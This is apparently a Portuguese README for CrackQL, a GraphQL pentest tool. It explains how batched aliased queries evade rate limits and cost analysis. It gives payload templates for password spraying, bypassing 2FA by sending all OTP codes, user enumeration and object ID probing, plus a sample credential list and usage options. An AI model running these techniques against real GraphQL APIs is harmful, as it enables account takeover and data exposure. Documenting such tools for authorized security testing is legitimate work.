
Ferramenta de teste de penetração GraphQL que explora limites de taxa fracos e análise de custos para força bruta de credenciais, bypass de 2FA, enumeração de usuários e fuzzing de operações por meio de consultas de alias em lote.
CrackQL é uma ferramenta de brute-force de senhas e fuzzing para GraphQL.
CrackQL é uma ferramenta versátil de teste de penetração GraphQL que explora controles deficientes de limite de taxa e análise de custos para realizar brute-force de credenciais e fuzzear operações.
O CrackQL funciona agrupando automaticamente uma única consulta ou mutação GraphQL em várias operações com alias. Ele determina o número de aliases a serem usados com base nas variáveis de entrada do CSV. Após gerar programaticamente o documento GraphQL agrupado, o CrackQL então agrupa e envia o(s) payload(s) para a API GraphQL alvo e analisa os resultados e erros.
O CrackQL pode ser usado para uma ampla gama de ataques GraphQL, pois gera programaticamente payloads com base em uma lista de entradas dinâmicas.
Ao contrário do Burp Intruder, que envia uma requisição para cada payload único, o CrackQL evade as defesas tradicionais de monitoramento de limite de taxa de APIs HTTP usando múltiplas consultas com alias para inserir grandes conjuntos de credenciais em uma única requisição HTTP. Para contornar as defesas de análise de custo de consulta, o CrackQL pode ser otimizado para usar uma série de operações agrupadas menores (-b) bem como um atraso de tempo (-D).
O CrackQL é perfeito contra implantações GraphQL que utilizam operações de autenticação GraphQL in-band (como o GraphQL Authentication Module). O exemplo abaixo de password spraying funciona contra o DVGA com o dicionário sample-inputs/users-and-passwords.csv.
mutation {
login(username: {{username|str}}, password: {{password|str}}) {
accessToken
}
}
É possível usar o CrackQL para contornar a autenticação de dois fatores enviando todos os tokens OTP (One Time Password).
sample-queries/otp-bypass.graphql
mutation {
twoFactor(otp: {{otp|int}}) {
accessToken
}
}
O CrackQL também pode ser usado para ataques de enumeração para descobrir IDs de usuário, nomes de usuário e endereços de e-mail válidos.
sample-queries/enumeration.graphql
query {
signup(email: {{email|str}}, password: {{password|str}}) {
user {
email
}
}
}
O CrackQL pode ser usado para iterar sobre um grande número de identificadores únicos potenciais para vazar informações de objetos.
query {
profile(uuid: {{uuid|int}}) {
name
email
picture
}
}
O CrackQL pode ser usado para operações gerais de fuzzing de entrada, como enviar payloads potenciais de SQLi e XSS.
O CrackQL gerará payloads com base nas variáveis de entrada definidas por um arquivo CSV. O CrackQL exige que o cabeçalho do CSV corresponda ao nome da entrada.
sample-inputs/usernames_and_passwords.csv
username, password admin, admin admin, password admin, pass admin, pass123 admin, password123 operator, operator operator, password operator, pass operator, pass123 operator, password123
strintfloatgit clone [email protected]:nicholasaleks/CrackQL.git
pip install -r requirements.txt
python3 CrackQL.py -h
Usage: python3 CrackQL.py -t http://example.com/graphql -q sample-queries/login.graphql -i sample-inputs/usernames_and_passwords.csv
Options:
-h, --help show this help message and exit
-t URL, --target=URL Target url with a path to the GraphQL endpoint
-q QUERY, --query=QUERY
Input query or mutation operation with variable
payload markers
-i INPUT_CSV, --input-csv=INPUT_CSV
Path to a csv list of arguments (i.e. usernames,
emails, ids, passwords, otp_tokens, etc.)
-d DELIMITER, --delimiter=DELIMITER
CSV input delimiter (default: ",")
-o OUTPUT_DIRECTORY, --output-directory=OUTPUT_DIRECTORY
Output directory to store results (default:
./results/[domain]_[uuid]/
-b BATCH_SIZE, --batch-size=BATCH_SIZE
Number of batch operations per GraphQL document
request (default: 100)
-D DELAY, --delay=DELAY
Time delay in seconds between batch requests (default:
0)
--verbose Prints out verbose messaging
-v, --version Print out the current version and exit.
Use config.py para definir cookies HTTP, cabeçalhos ou proxies se o endpoint exigir autenticação.